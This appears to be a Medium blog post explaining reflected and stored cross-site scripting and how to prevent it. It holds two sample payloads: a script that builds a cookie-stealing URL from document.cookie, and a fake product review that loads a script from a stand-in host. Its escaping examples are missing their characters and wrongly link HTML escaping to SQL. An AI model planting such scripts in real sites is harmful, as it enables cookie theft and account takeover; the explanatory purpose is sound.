XSS can steal your cookies

Cross-site scripting (XSS) remains one of the most common vulnerabilities in web applications. XSS is a security vulnerability allowing attackers to inject malicious code into weak user inputs. Once compromised, attackers can steal authenticated users’ cookies and take over the victim’s account. Any websites that accept user entries are potentially at risk for XSS attacks. Fortunately, a simple fix can prevent XSS attacks in many cases.

What is Cross-site scripting (XSS)?
Cross-site scripting attacks target insecure user inputs. When the user inputs — such as a search box, comments, and reviews — take user entries without filtering out harmful HTML markup or JavaScript, it enables an attacker to inject malicious code. The attackers often use XSS as an entry point to carry out further attacks. For instance, an attacker uses a product review box on a legitimate e-commerce site to leave a fake review with a crafted URL containing arbitrary code. When other users click on the URL, it captures the user’s cookie and sends it back to the attacker. In some cases, the URL is linked to the attacker-controlled website, where it starts to download malware automatically.

Reflected XSS and Stored XSS

There are two types of cross-site scripting attacks, Stored XSS and Reflected XSS.

Reflected cross-site scripting is sort of like a booby trap. The attackers set up a trap using insecure user inputs, inserting a malicious link, and wait for the victims. When a victim clicks on the link, the malicious script gets executed and reflects off the victim’s browser. Reflected XSS typically involves a two-step process. First, the attacker finds a website with insecure user entry inputs — such as a comment or review — and leaves a comment with a malicious link. Second, when other users click on the URL, the malicious code gets executed on the victim’s browser, captures users’ cookies, and sends them back to the attacker.

<script type=”text/javascript”> var monster = ‘../hack.php?cookie_data=’ + escape(document.cookie); </script>

Stored cross-site scripting also relies on insecure user inputs, but unlike reflected XSS, the attacker installs malicious code on the victim’s website. It is more harmful as it affects anyone who visits the otherwise legitimate website. The attack is effective and persistent as the malicious code is stored in the database.
The arbitrary code gets executed while the victim simply views the affected page. Successful stored XSS attacks can also lead to session hijacking. In some cases, it can be used to redirect the victims to the attacker-controlled website and carry out further attacks.

I highly recommend this product “<script src=”http://example.com/hack.js”> </script>”

In the above example, the arbitrary code is embedded within a seemingly innocent message. The code will be stored in the database if a user entry lacks proper validation.

What is the difference between reflected XSS and stored XSS?

The main difference between reflected XSS and stored XSS is that reflected XSS requires user interactions. Reflected XSS is successful only if a user clicks on the link and consequently executes the code. On the other hand, stored XSS can continue with the attack without user interactions. This makes stored XSS more dangerous and can cause more harm to the victims.

Preventing cross-site scripting

Zero trust is the key for mitigating XSS attacks. All user entries must be cleaned before they can be processed and stored in the database. Escaping, filtering, sanitizing, or encoding are four main methods to ensure the user data is safe.

  • Escaping refers to converting programming-specific characters into HTML Entities. For instance, when an application escapes user data properly, the symbol is converted into which is not executable by SQL language.
  • Filtering simply removes harmful characters from the user-supplied data.
  • Sanitizing cleans user data by escaping and filtering to prevent harmful code from entering the database.
  • Encoding is similar to escaping. For example, PHP, a common programming language correlated with SQL database, has a built-in function to encode harmful characters — including special characters such as , or into HTML entities.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store